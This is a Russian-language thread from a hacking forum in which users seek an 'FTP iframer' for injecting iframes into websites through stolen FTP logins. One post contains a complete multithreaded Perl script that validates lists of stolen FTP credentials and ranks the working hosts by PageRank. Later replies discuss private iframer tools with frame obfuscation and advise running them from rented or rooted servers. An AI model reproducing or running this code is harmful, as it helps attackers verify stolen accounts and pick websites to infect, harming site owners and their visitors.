• XSS.stack #1 – первый литературный журнал от юзеров форума

FTP iframer

c1tr1n

HDD-drive
Пользователь
Регистрация
20.07.2009
Сообщения
33
Реакции
0
Сабж. Требуется проверенный временем экземпляр и с большим кол-вом настроек. Сам искал но все что попадалось чекало в один поток, вылетало, не ифрэймило либо вообще не запускалось.
 
py4ka
Мне серотка нравится. Для чека заряжал в него максимум 10к (больше не пробовал).
залью, если надо будет.
дык разве она работает ещё? вроде не поддерживается уже х.з. сколько.
 
Код:
#!usr/bin/perl
use threads;
use threads::shared;
use Fcntl ':flock';
use LWP::UserAgent; 

#settings
my $threads = 10; #Кол-во потоков
my $input_file_name = 'ftp.txt';
my $output_file_name = 'good_ftp.txt';
my $sleep_time = 0; #задержка 
my $timeout = 5; #timeout in seconds
my $agent = "FTPCheck";
#/settings
my $good: shared = 0;
my @array : shared;
my $ua = LWP::UserAgent -> new(timeout => $timeout, agent => $agent);
my $ua2 = LWP::UserAgent -> new(timeout => $timeout, agent =>$agent);

system("title #FTP-CheckeR by intNet#");
about();
print localtime()." Parsing started...\n";
parse();
print localtime()." ok!\n".localtime()." Check started...\n\n";
@array = ftoarr($input_file_name);
threads ->new(\&gogo) for 1..$threads;
$_ -> join for threads->list;
print "\n\n".localtime()." Check done!\nGood: $good\n\n";
print localtime()." Sorting by PR...\n";
sort_by_pr($output_file_name);
print localtime()." Done!\n";
system("pause");

sub sort_by_pr {
	open FILE, "<$output_file_name" || die "Can't open $output_file_name\n";
	my @arr = <FILE>;
	close FILE;
	open FILE, ">$output_file_name";
	for(my $i = 10; $i>=0; --$i) {
  foreach $akk(@arr) {
  	print FILE $akk if $akk =~ /PR: $i/;
  	print "PR $i - $akk" if $akk =~ /PR: $i/;
  }
	}
	close FILE;
}

sub parse {
# помещает во входной файл отсортированные и очищенные уникальные фтп
	open DAT, "<$input_file_name" or die "Can't open $input_file_name\n";
	@temp_arr = <DAT>; 
	close DAT;
	my $a = 0;
	my @arr;
	foreach $akk(@temp_arr) {
  if($akk =~ /([^ ]*:[^ ]*\@[^ \n]*)/) { 
  	push @arr => "$1\n";
  	$a++;
  }
	}
	my @new_arr;
	foreach $akk(@arr) {  #adding ftp:// and :21 if needed
  chomp $akk;
  if($akk =~ /ftp:\/\//) {
  	if($akk =~ /:21/) {
     push @new_arr =>"$akk\n";
  	} else {
    push @new_arr=>$akk.":21\n";
  	}
  } else {
  	if($akk =~ /:21/) {
    push @new_arr => 'ftp://'.$akk."\n";
  	} else {
    push @new_arr => 'ftp://'.$akk.":21\n";
  	}
  }
	}  
	@arr = sort @new_arr;
	for($i=0;$i<$a;$i++){
  @arr[$i] = '' if @arr[$i] eq @arr[$i+1]; #dup remove
	}
	open DAT, ">$input_file_name";
	print DAT @arr;
	close DAT;
	return;
}

sub ftoarr {
	die "File $_[0] not exist or has zero-size\n" if(-z $_[0] || !-e $_[0]);
	open DAT, "<$_[0]" || die "Can't open $_[0]\n";
	my @ar = <DAT>;
	close DAT;
	return @ar;
}

sub fnote {
#syntax - WriteToFile(FileNameToWriteData, Data)
	open my $data_file, ">>$_[0]" || die "Can't open $output_file_name\n";
	flock $data_file, LOCK_EX;
	print $data_file $_[1];
	flock $data_file, LOCK_UN;
	close $data_file;
}	

sub gogo {
	while(@array) {
  my $str = undef;
  my $host = undef;
  my $pr = undef;
  my $cy = undef;
  {
  	lock(@array);
  	$str = shift(@array);
  	chomp $str;
  	next if $str eq '';
  }
  print "Now $str...";
  if(checkftp($str) ==1) {
  	{
    lock($good);
    $good++;
  	}
  	if($str =~ /^ftp:\/\/?(.*):(.*)\@(.*):(\d+)/i) {
    $host = $3;
  	} else {
    $host = '';
  	}
  	$res = $ua2->get('http://www.moshiach.ru/checker/worker.php?service=google_pr&url='.$host);
  	$pr = substr($res->content, 6);
  	$pr = 0 if $pr =~ /N\/A/;
  	fnote($output_file_name, $str." | host: $host | PR: $pr\n");
  	print " GOOD!($good), Host: $host, PR: $pr\n";
  } else {
  	print " BAD!\n";
  }
  sleep $sleep_time;
	}
}
	
sub checkftp {	
	$getres = $ua->get($_[0]);
	if($getres->as_string =~ /200 OK/) {
  return 1;
	} else {
  return 0;
	}
}

sub about {
	print "#FTP-Checker\n#Version 1.0 [beta]\n".
  	"#(C)oded by intNet\n".
  	"\t[+] Parser\n\t[+] Checker\n\t[+] PR-checker with sorter\n\n";
	return;
}
#by intNet
чекает на ура
 
Serotka не запускается на забугорных дедах а ифрэймить со своего я не собираюсь

2 G100M большое спасибо после проверки чекер отправился прямиком на флэшку))
Однако мне нужен ифрэймер. Тема актуальна. Ваши предложения с линками если имеются
 
А чем Ziframer не устраивает? Мы с trueuser-ом даже многопоток из него делали.
а выложить можете?или так для слова отписались,так то и у кодера можно любого заказать
 
А чем Ziframer не устраивает
*


У зеро есть многопоток на перле. Можешь поинтересоваться у него...
Последний Ziframer на php лежит в привате.
Также есть Ziframer 2.0 Многопоток на пеле и пхп в виде демона + криптор фреймов и куча нового функционала расширриный веб интерфейс, онлайн стата, но он еше только бетта я больше проектом не занимаюсь.
Если кто то хочет поучаствовать в завершении последней версии пишите =)

Serotka не запускается на забугорных дедах а ифрэймить со своего я не собираюсь

2 G100M большое спасибо после проверки чекер отправился прямиком на флэшку))
Однако мне нужен ифрэймер. Тема актуальна. Ваши предложения с линками если имеются
Скрипты вообше трудно будет запускать на дедах лучше используйте никс платформы первая версия фреймера есть в виде ехе
но рекомендую вам лучше купить сервер или рута...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх